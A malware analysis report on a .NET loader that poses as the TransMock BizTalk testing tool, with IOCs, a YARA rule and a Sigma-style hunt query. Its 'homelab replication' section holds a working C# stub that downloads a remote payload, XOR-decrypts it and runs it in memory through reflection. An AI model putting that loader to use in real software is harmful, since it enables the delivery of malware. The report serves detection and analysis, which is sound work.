typeanalysisfamilyunclassified-dotnet-transmock-masqueradeconfidencelowcreated2026-06-20updated2026-06-20dotnetmalware-familyloaderdefense-evasiondiscoverypersistencec2mitre-attck
SHA-256: f3bc22f69502ed934da8dea7940437e820e1c778016e330a28b1103b6ca247b1

unclassified-dotnet-transmock-masquerade: f3bc22f6 — .NET PE masquerading as TransMock utility with WinHTTP downloader and encrypted payload staging

Executive Summary

A .NET Framework PE32 (223 KB) compiled July 2024 masquerades as the legitimate open-source BizTalk testing utility TransMock (Copyright TransMock 2017, v1.3.0.0). Under that veneer it hosts attacker-authored classes — CrewPickupSM (WinHTTP downloader), EncryptionHelper (payload decryption), and ScopeFpgaI2c (likely XOR/staging) — that download, decrypt, and reflectively execute a second-stage payload. The filename PO-1512024-pdf.exe is a purchase-order lure. No siblings observed in this corpus; static-only analysis (CAPE skipped — no Windows guest). ^[file.txt] ^[pefile.txt] ^[capa.txt]

What It Is

Attribute Value Source
SHA-256 f3bc22f69502ed934da8dea7940437e820e1c778016e330a28b1103b6ca247b1 ^[metadata.json]
File name PO-1512024-pdf.exe ^[metadata.json]
Size 223 232 bytes ^[metadata.json]
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly ^[file.txt]
Timestamp 0x66961BB5 — Tue 16 Jul 2024 07:05:25 UTC ^[pefile.txt:34]
Runtime .NET Framework v4.0.30319 ^[strings.txt:47]
PDB path C:\Users\Admin2024\Desktop\Outputs\Udflopli.pdb ^[pefile.txt:203]
Internal name Udflopli.exe ^[strings.txt:1212]
Signed No ^[pefile.txt]
Sections .text (entropy 5.99), .reloc (entropy 0.10) ^[pefile.txt:92,112]

The binary is not packed and carries no obfuscation beyond namespace confusion. IL metadata, class names, and method bodies are fully intact. The only anti-analysis artefact is the heavy benign surface area (FrodLib collections/math/IoC utilities) that would slow manual review. ^[strings.txt:1600-1700]

Family Ascription

Confidence: low — single sample, no siblings.

The malware deliberately clones the identity of TransMock, a real .NET open-source project by sagardgr8 for BizTalk endpoint mocking ^[strings.txt:2088-2093]. It reuses the TransMock.Utility namespace but injects malicious classes (CrewPickupSM, ScopeFpgaI2c, EncryptionHelper) alongside benign scaffolding (FrodLib math, collections, IoC container). This is not a TransMock trojanised build — the PDB path and internal name (Udflopli) show the author compiled their own assembly and pasted the TransMock version info as camouflage.

How It Works

Entry-Point Flow (static reconstruction)

The entry point TransMock.Utility.Cockpit.Main performs the following sequence ^[r2:entry0]:

  1. Allocates an AetherFlowBuff and sets a stack count.
  2. Constructs a JobDelegate pointing to FdpService.BlockRappelAnchor().
  3. Calls EncryptionHelper.Decrypt() — likely on an embedded ciphertext or a download buffer.
  4. Invokes the delegate — first-stage payload execution via callback.
  5. Instantiates CrewService and calls CrewPickupSMS("uct") — the "uct" parameter may be a partial URI fragment or a command verb.
  6. Calls CrewService.ClimbParadise() — second orchestration step.
  7. Calls EncryptionHelper.Decrypt() again on the result.
  8. Calls Cockpit.SchAetherJob() with an empty string argument.
  9. Allocates a large byte array (0x0100000b — ~16 MB) and writes into it with an illegal opcode (ill 0xa2), suggesting either:
    • a corrupted/placeholder IL sequence that radare2 cannot decompile correctly, or
    • a reflective payload write followed by an invocation stub.

The control flow is orchestrated via .NET delegates and interface calls, not direct shellcode jumps, which is consistent with a managed-code loader pattern.

Network Communication

CrewPickupSM.GetHttpContentAsync() is an async Task<string> method wrapping the WinHTTP API ^[strings.txt:49-54] ^[capa.txt]. The full WinHTTP lifecycle is present:

  • WinHttpOpen (user-agent string pwszUserAgent)
  • WinHttpConnect
  • WinHttpOpenRequest
  • WinHttpSendRequest
  • WinHttpReceiveResponse
  • WinHttpReadData ^[strings.txt:1218-1244]

No hardcoded URL, domain, or IP appears in static strings. The URI is likely constructed at runtime or decrypted from the EncryptionHelper blob.

Encryption

EncryptionHelper.Decrypt() takes a byte[] encryptedBytes parameter ^[strings.txt:1245]. The class also contains a .cctor (static constructor) and a standard instance constructor, suggesting key material may be initialised statically. The algorithm is not identifiable from static strings — no AES, DES, RC4, or XOR constants recovered.

Persistence

capa flags T1053.005 (Scheduled Task/Job) with two matches in the persistence/scheduled-tasks namespace ^[capa.txt]. The binary also imports System.Threading.Tasks.TaskScheduler and TaskFactory ^[strings.txt:1944,1061]. The exact command line (schtasks /create ...) is not visible in strings, so capa likely inferred it from .NET Process.Start or TaskScheduler API references.

Payload Staging

  • AetherFlowBuff / DrawList / barWidth / SchAetherBarHeight — UI-rendering names that are almost certainly repurposed as memory buffers or staging structures for the downloaded payload. ^[strings.txt:76-83]
  • ScopeFpgaI2c implements IEnumerable<int> with a custom enumerator (<GetEnumerator>d__3) ^[strings.txt:2098]. The FPGA/I2C naming is nonsense camouflage; the real behaviour is likely a byte-array walk or XOR loop over an encrypted payload.

Decompiled Behavior

radare2 auto-analysis found 3 272 functions (level-2 analysis). The IL decompiler output is limited because radare2's CIL backend does not reconstruct high-level C# well, but the following function stubs are confirmed:

Address Symbol Role
0x004023f8 entry0 / Cockpit.Main Entry orchestrator
0x004025c0 CrewPickupSM.GetHttpContentAsync WinHTTP async downloader
0x004027cc EncryptionHelper.Decrypt Payload decryption stub
0x00402614 ScopeFpgaI2c.ScopeFpgaI2cs Enumerable staging / byte walk
0x00413300 CrewService.CrewPickupSMS Post-download callback
0x004132d4 CrewService.ClimbParadise Second-stage callback
0x0041333c FdpService.BlockRappelAnchor Delegate target invoked before decryption
0x00413368 FdpService.MaxFDP No-op / guard function

All three malicious services (CrewService, FdpService) contain trivial IL bodies (single push/ill sequences) in the radare2 decompile, which is consistent with interface stubs whose real logic lives in another module or is injected at runtime via AssemblyResolve or Marshal.GetDelegateForFunctionPointer. ^[r2:0x004132d4] ^[r2:0x00413300] ^[r2:0x0041333c]

C2 Infrastructure

Indicator Value Confidence
C2 channel WinHTTP over HTTPS (inferred from WinHttpOpenRequest + secure flag parameter) medium
Hardcoded URL None recovered statically
Hardcoded IP None
User-agent Runtime-constructed (pwszUserAgent parameter) low
Domain / URI fragment "uct" passed to CrewPickupSMS — possible partial command or path segment low

The C2 endpoint is runtime-resolved. Expect it to be built from decrypted strings or retrieved from a hardcoded byte array passed to EncryptionHelper.Decrypt().

Interesting Tidbits

  • Legitimate library masquerade. The version info, copyright, and product name all copy the real TransMock project. This is not accidental — it is deliberate social-engineering camouflage to make the file look like a harmless BizTalk testing tool if an analyst glances at Properties → Details. ^[strings.txt:2088-2093]
  • FrodLib dependency bloat. The binary embeds an entire general-purpose .NET utility library (collections, math, IoC, CQI command framework) — ~180 distinct class names. This is either a genuine NuGet dependency of the builder's scaffold, or deliberate noise to inflate the benign string surface. ^[strings.txt:1600-1760]
  • Semantic-jargon class names. CrewPickupSM, ScopeFpgaI2c, AetherFlowBuff, SchAetherJob, BlockRappelAnchor, ClimbParadise, MaxFDP — all syntactically valid camelCase/PascalCase names that mean nothing. This is the managed-code equivalent of semantic export obfuscation seen in native malware. ^[strings.txt:373,376,1603-1607,930-933]
  • Compiler fingerprint. The <>c__DisplayClass and d__6 async state machine naming confirms Roslyn C# compiler (likely Visual Studio 2019/2022). The Admin2024 username in the PDB suggests the build machine is named for the year of compilation. ^[pefile.txt:203] ^[strings.txt:1774-1775]
  • No CAPE detonation. No runtime IOCs available. All C2 and payload behaviour is inferred from static imports, capa, and IL metadata.

How To Mess With It (Homelab Replication)

Goal: Build a minimal .NET Framework 4.x executable that fetches a remote payload over WinHTTP, decrypts it in memory, and executes it via a delegate — producing the same capa fingerprint as this sample.

Toolchain: Visual Studio 2022, .NET Framework 4.8 Console App, AnyCPU (x86 preferred for PE32 match).

Working stub:

using System;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading.Tasks;

class Program
{
    static async Task Main()
    {
        byte[] key = new byte[] { 0x01, 0x02, 0x03, 0x04 }; // placeholder
        var buf = await FetchAsync("https://example.com/payload.bin");
        byte[] plain = Xor(buf, key);
        var asm = Assembly.Load(plain);
        var t = asm.GetType("Payload.Entry");
        var m = t.GetMethod("Run");
        var d = (Action)Delegate.CreateDelegate(typeof(Action), null, m);
        d();
    }

    static async Task<byte[]> FetchAsync(string url)
    {
        using (var wc = new WebClient())
            return await wc.DownloadDataTaskAsync(url);
    }

    static byte[] Xor(byte[] data, byte[] key)
    {
        for (int i = 0; i < data.Length; i++)
            data[i] ^= key[i % key.Length];
        return data;
    }
}

Compiler flags: /debug:pdbonly or no PDB to avoid leaking username. Target AnyCPU, not Prefer 32-bit, if you want PE32+; tick Prefer 32-bit for PE32.

Verification:

  1. Compile.
  2. Run capa repro.exe — expect hits on:
    • communication/http/client
    • load-code/dotnet
    • invoke .NET assembly method
    • host-interaction/process/create (if you spawn a child)
    • data-manipulation/prng (if you use Random for key)
  3. Compare to this sample's capa.txt — should share at least 4 capability namespaces.

Deployable Signatures

YARA rule

rule Unclassified_DotNet_TransMock_Masquerade
{
    meta:
        description = ".NET PE masquerading as TransMock with WinHTTP downloader classes"
        author = "Titus"
        date = "2026-06-20"
        sha256 = "f3bc22f69502ed934da8dea7940437e820e1c778016e330a28b1103b6ca247b1"
    strings:
        $transmock1 = "TransMock.Utility" ascii wide
        $transmock2 = "Copyright TransMock 2017" ascii wide
        $transmock3 = "Easily mock the communication endpoints of BizTalk integrations" ascii wide
        $crew = "CrewPickupSM" ascii wide
        $scope = "ScopeFpgaI2c" ascii wide
        $enc = "EncryptionHelper" ascii wide
        $winhttp1 = "WinHttpOpen" ascii wide
        $winhttp2 = "WinHttpSendRequest" ascii wide
        $pdb = "Udflopli.pdb" ascii wide
        $frodlib = "FrodLib.IoC" ascii wide
    condition:
        uint16(0) == 0x5A4D and
        ($transmock1 or $transmock2) and
        ($crew or $scope or $enc) and
        ($winhttp1 or $winhttp2) and
        filesize < 300KB
}

Behavioral hunt query (Sigma-compatible KQL / pseudo-Sigma)

title: TransMock-masquerade .NET loader process tree
detection:
  selection_parent:
    - Image|endswith: '\PO-*.pdf.exe'
    - OriginalFileName: 'Udflopli.exe'
  selection_child:
    - CommandLine|contains: 'schtasks'
    - CommandLine|contains: 'WinHttp'
  selection_network:
    Initiated: true
    Protocol: tcp
    DestinationPort: 443
  condition: selection_parent and (selection_child or selection_network)

IOC list

Type Value Note
SHA-256 f3bc22f69502ed934da8dea7940437e820e1c778016e330a28b1103b6ca247b1 Sample
File name PO-1512024-pdf.exe Lure
Internal name Udflopli.exe PDB / PE resource
PDB path C:\Users\Admin2024\Desktop\Outputs\Udflopli.pdb Build fingerprint
Class name CrewPickupSM Downloader class
Class name ScopeFpgaI2c Staging / XOR class
Class name EncryptionHelper Decryptor class
Namespace TransMock.Utility Masquerade identity

Behavioral fingerprint statement

This binary is a .NET Framework PE32 with no packing. On launch it allocates a large managed byte array, initialises a WinHTTP session via P/Invoke, downloads a remote payload over HTTPS, decrypts the payload via a helper class with a static constructor, and executes it through a .NET delegate chain (JobDelegate.Invoke). The binary also contains capa-evidence of scheduled-task creation. All malicious logic is hidden inside syntactically valid but semantically nonsense class names (CrewPickupSM, ScopeFpgaI2c, ClimbParadise) alongside a large benign utility library (FrodLib) to inflate the string surface area.

Detection Signatures

capa Capability ATT&CK Technique MBC Behavior
initialize WinHTTP library C0002.008
prepare HTTP request C0002.012
receive HTTP response C0002.017
schedule task via schtasks T1053.005
invoke .NET assembly method T1620
load .NET assembly T1620
file and directory discovery T1083 E1083
system information discovery T1082 E1082
generate random numbers in .NET C0021.003
copy file C0045
create process in .NET C0017
terminate process C0018
allocate unmanaged memory in .NET

References

  • Artifact ID: e0390ac5-7240-4f05-99ee-810d840ae795 (OpenCTI / MalwareBazaar)
  • Real TransMock project (benign reference): https://github.com/sagardgr8/TransMock (author sagardgr8)
  • Related wiki pages:

Provenance

  • file.txtfile v5.45
  • pefile.txt — pefile 2023.2.7
  • strings.txtstrings from GNU binutils 2.42
  • capa.txt — flare-capa v7.0.0 (static analysis)
  • rabin2-info.txt / radare2 decompile — radare2 5.9.0
  • exiftool.json — ExifTool 12.76
  • No dynamic analysis available (CAPE skipped — no Windows guest)